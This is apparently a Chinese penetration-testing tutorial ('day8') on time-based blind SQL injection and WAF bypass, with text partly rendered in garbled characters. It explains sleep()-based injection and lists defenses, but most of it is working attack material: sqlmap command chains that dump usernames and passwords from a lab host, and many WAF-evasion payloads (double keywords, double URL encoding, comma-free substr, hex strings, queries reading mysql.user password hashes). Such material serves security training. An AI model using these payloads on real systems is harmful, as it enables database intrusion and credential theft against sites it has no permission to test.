wordpress javascript廣告插件seo排名推廣
day8-滲透測試sql注入篇&時(shí)間注入&繞過&HTTP數(shù)據(jù)編碼繞過
一、時(shí)間注入
??? SQL注入時(shí)間注入(也稱為延時(shí)注入)是SQL注入攻擊的一種特殊形式,它屬于盲注(Blind SQL Injection)的一種。在盲注中,攻擊者無法直接從應(yīng)用程序的響應(yīng)中獲取SQL查詢的結(jié)果,而是通過觀察應(yīng)用程序的響應(yīng)時(shí)間來推斷信息。時(shí)間注入正是利用了這一特性,通過使數(shù)據(jù)庫執(zhí)行延時(shí)函數(shù)(如MySQL中的sleep()
函數(shù))來檢測SQL查詢的執(zhí)行情況,從而推斷出數(shù)據(jù)庫中的信息。
1、時(shí)間注入的工作原理
時(shí)間注入的工作原理大致如下:
- 構(gòu)造延時(shí)查詢:攻擊者會在SQL查詢中注入一個條件,該條件會觸發(fā)數(shù)據(jù)庫執(zhí)行延時(shí)函數(shù)。例如,在MySQL中,可以使用
IF(condition, sleep(time), 0)
這樣的語句,如果條件滿足,則數(shù)據(jù)庫會延時(shí)一段時(shí)間(如sleep(10)
表示延時(shí)10秒)返回結(jié)果,否則立即返回。 - 觀察響應(yīng)時(shí)間:攻擊者通過觀察應(yīng)用程序的響應(yīng)時(shí)間來判斷延時(shí)是否發(fā)生,從而推斷出條件是否滿足。如果應(yīng)用程序的響應(yīng)時(shí)間顯著增加,那么可以認(rèn)為條件滿足,即攻擊者可以通過這種方式逐步推斷出數(shù)據(jù)庫中的敏感信息。
2、時(shí)間注入的用途
時(shí)間注入主要用于以下場景:
- 數(shù)據(jù)庫信息探測:攻擊者可以通過時(shí)間注入來探測數(shù)據(jù)庫的類型、版本、表名、列名等信息。
- 數(shù)據(jù)提取:在知道數(shù)據(jù)庫結(jié)構(gòu)的情況下,攻擊者還可以利用時(shí)間注入來逐字符地提取數(shù)據(jù)庫中的數(shù)據(jù),如用戶名、密碼等敏感信息。
3、防御措施
為了防范時(shí)間注入攻擊,可以采取以下措施:
- 使用參數(shù)化查詢:參數(shù)化查詢是預(yù)防SQL注入的最有效手段之一。通過將SQL語句中的參數(shù)與數(shù)據(jù)值分開處理,確保數(shù)據(jù)值不會被解釋為SQL代碼的一部分,從而避免注入攻擊。
- 嚴(yán)格輸入驗(yàn)證:對所有用戶輸入進(jìn)行嚴(yán)格的驗(yàn)證和過濾,拒絕任何可疑或不合規(guī)的數(shù)據(jù)。
- 設(shè)置響應(yīng)時(shí)間上限:合理設(shè)置響應(yīng)時(shí)間的上限,避免過長的響應(yīng)時(shí)間給攻擊者以機(jī)會。
- 使用Web應(yīng)用防火墻(WAF):WAF能夠監(jiān)控和過濾進(jìn)出Web應(yīng)用的網(wǎng)絡(luò)流量,識別和阻止SQL注入等惡意攻擊。
4、時(shí)間注入攻擊方式
時(shí)間注入又名延時(shí)注入,屬于盲注入的一種,通常是某個注入點(diǎn)無法通過布爾型注入獲取數(shù)據(jù)而采用一種突破注入的技巧。
在 mysql 里 函數(shù) sleep() 是延時(shí)的意思,sleep(10)就是 數(shù)據(jù)庫延時(shí) 10 秒返回內(nèi)容。判斷注入可以使用'and sleep(10) 數(shù)據(jù)庫延時(shí) 10 秒返回值 網(wǎng)頁響應(yīng)時(shí)間至少要 10 秒 根據(jù)這個原理來判斷存在 SQL 時(shí)間注入。
mysql 延時(shí)注入用到的函數(shù) sleep() 、if()、substring()select if(2>1,sleep(10),0) 2>1 這個部分就是你注入要構(gòu)造的 SQL 語句。select if(length(database())>1,sleep(5),0) 這個就是查詢當(dāng)前庫大于 1 就會延時(shí) 5 秒執(zhí)行。-1' or if(length(database())>1,sleep(5),0)--+ 可以看到網(wǎng)頁是大于五秒返回。根據(jù)這個原理 n>1 n 不延時(shí)就能確定當(dāng)前數(shù)據(jù)庫的長度了。
如果想要獲取數(shù)據(jù)內(nèi)容 可以用截取字符再再進(jìn)行字符對比 如果相同就進(jìn)行延時(shí)。這樣就能獲取字符接著再拼接就是當(dāng)當(dāng)前庫的內(nèi)容。
5、時(shí)間注入代碼分析
在頁面中分析源碼 直接獲取 name 帶進(jìn)數(shù)據(jù)庫進(jìn)行查詢,但是是否存在記錄頁面返回都一樣。
在黑盒模式下可以使用 sqlmap 對注入檢測。sqlmap 支持多種數(shù)據(jù)庫注入,而且支持多種注入方式。
6、采用時(shí)間注入
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
?
-u 表示檢測的 url-p 指定的檢測參數(shù)-v 顯示調(diào)試模式--technique=T 檢測方法為時(shí)間注入
7、sqlmap 檢測為時(shí)間注入 接下來進(jìn)行 通過這個注入獲取數(shù)據(jù)庫的名 用戶權(quán)限、表、字段等敏感信息的獲取。
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch--current-user 獲取用戶--current-db 當(dāng)前庫--batch 使用默認(rèn)模式 自動 y
?
8、獲取表 -D 指定數(shù)據(jù)庫 --tables 獲取表
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
?
9、獲取字段
在 sqlmap --columns 獲取字典 -T 某個表sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.phpname=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
?
10、sqlmap 查詢賬號和密碼
sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch--dump 導(dǎo)出數(shù)據(jù)-C 指定查詢的字段
?
使用 sqlmap 很容易就能把時(shí)間注入的數(shù)據(jù)注入查詢出來
二、SQL 注入繞過技術(shù)
??? SQL 注入繞過技術(shù) 已經(jīng)是一個老生常談的內(nèi)容了,防注入可以使用某些云 waf加速樂等安全產(chǎn)品,這些產(chǎn)品會自帶 waf 屬性攔截和抵御 SQL 注入,也有一些產(chǎn)品會在服務(wù)器里安裝軟件,例如 iis 安全狗、d 盾、還有就是在程序里對輸入?yún)?shù)進(jìn)行過濾和攔截 例如 360webscan 腳本等只要參數(shù)傳入的時(shí)候就會進(jìn)行檢測,檢測到有危害語句就會攔截。SQL 注入繞過的技術(shù)也有許多。但是在日漸成熟的 waf 產(chǎn)品面前,因?yàn)?waf 產(chǎn)品的規(guī)則越來越完善,所以防御就會越來越高,安全系統(tǒng)也跟著提高,對滲透測試而言,測試的難度就越來越高了。
以下是一些常見的SQL注入繞過方法:
- 空格過濾繞過:
-
- 使用注釋符
/**/
、制表符(URL編碼為%09
)、換行符(URL編碼為%0a
)、括號、反引號等來代替空格。
- 使用注釋符
- 內(nèi)聯(lián)注釋繞過:
-
- 利用MySQL的特性,將僅在MySQL上執(zhí)行的語句放在
/*!...*/
中。當(dāng)MySQL數(shù)據(jù)庫的實(shí)際版本號大于或等于內(nèi)聯(lián)注釋中的版本號時(shí),就會執(zhí)行內(nèi)聯(lián)注釋中的代碼。
- 利用MySQL的特性,將僅在MySQL上執(zhí)行的語句放在
- 大小寫繞過:
-
- 針對過濾規(guī)則只對小寫或大寫敏感的情況,通過大小寫混寫的方式來繞過關(guān)鍵字過濾。
- 雙寫關(guān)鍵字繞過:
-
- 在某些簡單的WAF(Web應(yīng)用防火墻)中,將關(guān)鍵字如
select
等只使用replace()
函數(shù)置換為空,此時(shí)可以使用雙寫關(guān)鍵字(如seleselectct
)繞過。
- 在某些簡單的WAF(Web應(yīng)用防火墻)中,將關(guān)鍵字如
- 編碼繞過:
-
- 對需要注入的語句進(jìn)行編碼,如URL編碼、十六進(jìn)制編碼、Unicode編碼、ASCII編碼等。
- 等價(jià)函數(shù)字符替換繞過:
-
- 使用功能相同的函數(shù)或操作符進(jìn)行替換,如使用
like
或in
代替=
,使用greatest
、least
、strcmp
等函數(shù)進(jìn)行大小判斷。
- 使用功能相同的函數(shù)或操作符進(jìn)行替換,如使用
- 邏輯符號替換:
-
- 使用邏輯符號如
&&
代替and
,||
代替or
,^
或|
代替xor
等。
- 使用邏輯符號如
- 特殊字符和引號繞過:
-
- 使用十六進(jìn)制編碼、寬字節(jié)編碼等技術(shù)處理被過濾的引號等特殊字符。
- 對過濾函數(shù)的繞過:
-
- 針對特定的過濾函數(shù),如
replace()
、addslashes()
等,構(gòu)造特定的payload來繞過其過濾規(guī)則。
- 針對特定的過濾函數(shù),如
??? 需要注意的是,SQL注入是一種嚴(yán)重的安全漏洞,攻擊者可以利用它來獲取數(shù)據(jù)庫的敏感信息,甚至對數(shù)據(jù)庫進(jìn)行破壞。因此,開發(fā)人員應(yīng)該采取嚴(yán)格的安全措施來防止SQL注入攻擊,如使用參數(shù)化查詢、ORM框架、預(yù)編譯語句等。同時(shí),定期對代碼進(jìn)行安全審計(jì)和漏洞掃描也是非常重要的。
1、空格字符繞過
兩個空格代替一個空格,用 Tab 代替空格,%a0=空格%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/select * from users where id=1 /*!union*//*!select*/1,2,3,4;%09 TAB 鍵(水平)%0a 新建一行%0c 新的一頁%0d return 功能%0b TAB 鍵(垂直)%a0 空格可以將空格字符替換成注釋 /**/ 還可以使用 /*!這里的根據(jù) mysql 版本的內(nèi)容不注釋*/
2、大小寫繞過
將字符串設(shè)置為大小寫,例如 and 1=1 轉(zhuǎn)成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;
將字符串設(shè)置為大小寫,例如 and 1=1 轉(zhuǎn)成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,user(),3%0Aand%0A%271http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271過濾空格可以用%0 代替 也過濾# -- 注釋 用字符串匹配
?
3、浮點(diǎn)數(shù)繞過注入
select * from users where id=8E0union select 1,2,3,4;select * from users where id=8.0union select 1,2,3,4;
4、NULL 值繞過
select \N; 代表 null
select * from users where id=\Nunion select 1,2,3,\N;select * from users where id=\Nunion select 1,2,3,\Nfrom users;
5、引號繞過
如果 waf 攔截過濾單引號的時(shí)候,可以使用雙引號 在 mysql 里也可以用雙引號作為字符串
select * from users where id='1';select * from users where id="1";
也可以將字符串轉(zhuǎn)換成 16 進(jìn)制 再進(jìn)行查詢。
select hex('admin');select * from users where username='admin';select * from users where username=0x61646D696E;
如果 gpc 開啟了,但是注入點(diǎn)是整形 也可以用 hex 十六進(jìn)制進(jìn)行繞過
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
可以看到存在整型注入的時(shí)候 沒有用到單引號 所以可以注入。
6、添加庫名繞過
以下兩條查詢語句,執(zhí)行的結(jié)果是一致的,但是有些 waf 的攔截規(guī)則 并不會攔截[庫名].[表名]這種模式。
select * from users where id=-1 union select 1,2,3,4 from users;select * from users where id=-1 union select 1,2,3,4 from moonsec.users;
mysql 中也可以添加庫名查詢表。例如跨庫查詢 mysql 庫里的 usrs 表的內(nèi)容。
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)from mysql.user;
7、去重復(fù)繞過
在 mysql 查詢可以使用 distinct 去除查詢的重復(fù)值??梢岳眠@點(diǎn)突破 waf 攔截select * from users where id=-1 union distinct select 1,2,3,4 from users;select * from users where id=-1 union distinct select 1,2,3,version() from users;
8、反引號繞過
在 mysql 可以使用 `這里是反引號` 繞過一些 waf 攔截。字段可以加反引號或者不加,意義相同。
insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');
9、逗號繞過
目前有些防注入腳本都會逗號進(jìn)行攔截,例如常規(guī)注入中必須包含逗號
select * from users where id=1 union select 1,2,3,4;
一般會對逗號過濾成空 select * from users where id=1 union select 1 2 3 4;這樣SQL 語句就會出錯。所以 可以不使用逗號進(jìn)行 SQL 注入。繞過方法如下
ubstr 截取字符串
select(substr(database() from 1 for 1)); 查詢當(dāng)前庫第一個字符查詢 m 等于 select(substr(database() from 1 for 1))頁面返回正常select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));可以進(jìn)一步優(yōu)化 m 換成 hex 0x6D 這樣就避免了單引號select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));
min 截取字符串?
這個 min 函數(shù)跟 substr 函數(shù)功能相同 如果 substr 函數(shù)被攔截或者過濾可以使用這個函數(shù)代替。select mid(database() from 1 for 1); 這個方法如上。select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
10、使用 join 繞過
使用 join 自連接兩個表union select 1,2 #等價(jià)于 union select * from (select 1)a join (select 2)ba 和 b 分別是表的別名select * from users where id=-1 union select 1,2,3,4;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select 3)c join(select 4)d;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select user())c join(select 4)d;
可以看到這里也沒有使用逗號,從而繞過 waf 對逗號的攔截
11、like 繞過
使用 like 模糊查詢 select user() like '%r%'; 模糊查詢成功返回 1 否則返回 0
找到第一個字符后繼續(xù)進(jìn)行下一個字符匹配。從而找到所有的字符串 最后就是要查詢的內(nèi)容,這種 SQL 注入語句也不會存在逗號。從而繞過 waf 攔截。
12、limit offset 繞過
??? SQL 注入時(shí),如果需要限定條目可以使用 limit 0,1 限定返回條目的數(shù)目 limit 0,1返回條一條記錄 如果對逗號進(jìn)行攔截時(shí),可以使用 limit 1 默認(rèn)返回第一條數(shù)據(jù)。也可以使用 limit 1 offset 0 從零開始返回第一條記錄,這樣就繞過 waf 攔截了。
13、or and xor not 繞過
目前主流的 waf 都會對 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2id=0 xor 1=1 limit 1 、id=1 xor 1=2對這些常見的 SQL 注入檢測語句進(jìn)行攔截。像 and 這些還有字符代替字符如下and 等于&&or 等于 ||not 等于 !xor 等于|所以可以轉(zhuǎn)換成這樣id=1 and 1=1 等于 id=1 && 1=1id=1 and 1=2 等于 id=1 && 1=2id=1 or 1=1 等于 id=1 || 1=1id=0 or 1=0 等于 id=0 || 1=0
可以繞過一些 waf 攔截繼續(xù)對注入點(diǎn)進(jìn)行安全檢測,也可以使用運(yùn)算符號
id=1 && 2=1+1
id=1 && 2=1-1
14、ascii 字符對比繞過
許多 waf 會對 union select 進(jìn)行攔截 而且通常比較變態(tài),那么可以不使用聯(lián)合查詢注入,可以使用字符截取對比法,進(jìn)行突破。
select substring(user(),1,1);select * from users where id=1 and substring(user(),1,1)='r';select * from users where id=1 and ascii(substring(user(),1,1))=114;
最好把'r'換成成 ascii 碼 如果開啟 gpc int 注入就不能用了。
可以看到構(gòu)造得 SQL 攻擊語句沒有使用聯(lián)合查詢(union select)也可以把數(shù)據(jù)查詢出來。
15、等號繞過
如果程序會對=進(jìn)行攔截 可以使用 like rlike regexp 或者使用<或者>
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
select * from users where id=1 and (select substring(user(),1,1)like 'r%');select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select * from users where id=1 and 1=(select user() regexp '^r');select * from users where id=1 and 1=(select user() regexp '^a');regexp 后面是正則
16、雙關(guān)鍵詞繞過
有些程序會對單詞 union、 select 進(jìn)行轉(zhuǎn)空 但是只會轉(zhuǎn)一次這樣會留下安全隱患。
雙關(guān)鍵字繞過(若刪除掉第一個匹配的 union 就能繞過)
id=-1'UNIunionONSeLselectECT1,2,3--+
到數(shù)據(jù)庫里執(zhí)行會變成 id=-1'UNION SeLECT1,2,3--+ 從而繞過注入攔截。
17、二次編碼繞過
有些程序會解析二次編碼,造成 SQL 注入,因?yàn)?url 兩次編碼過后,waf 是不會攔截的。
-1 union select 1,2,3,4#第一次轉(zhuǎn)碼%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23第二次轉(zhuǎn)碼%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
二次編碼注入漏洞分析 在源代碼中已經(jīng)開啟了 gpc 對特殊字符進(jìn)行轉(zhuǎn)義
代碼里有 urldecode 這個函數(shù)是對字符 url 解碼,因?yàn)閮纱尉幋a GPC 是不會過濾的,所以可以繞過 gpc 字符轉(zhuǎn)義,這樣也就繞過了 waf 的攔截。
免責(zé)聲明:
以上內(nèi)容僅供參考,不構(gòu)成任何安全建議或指導(dǎo)。對于具體的安全問題,請咨詢專業(yè)的安全專家或機(jī)構(gòu)。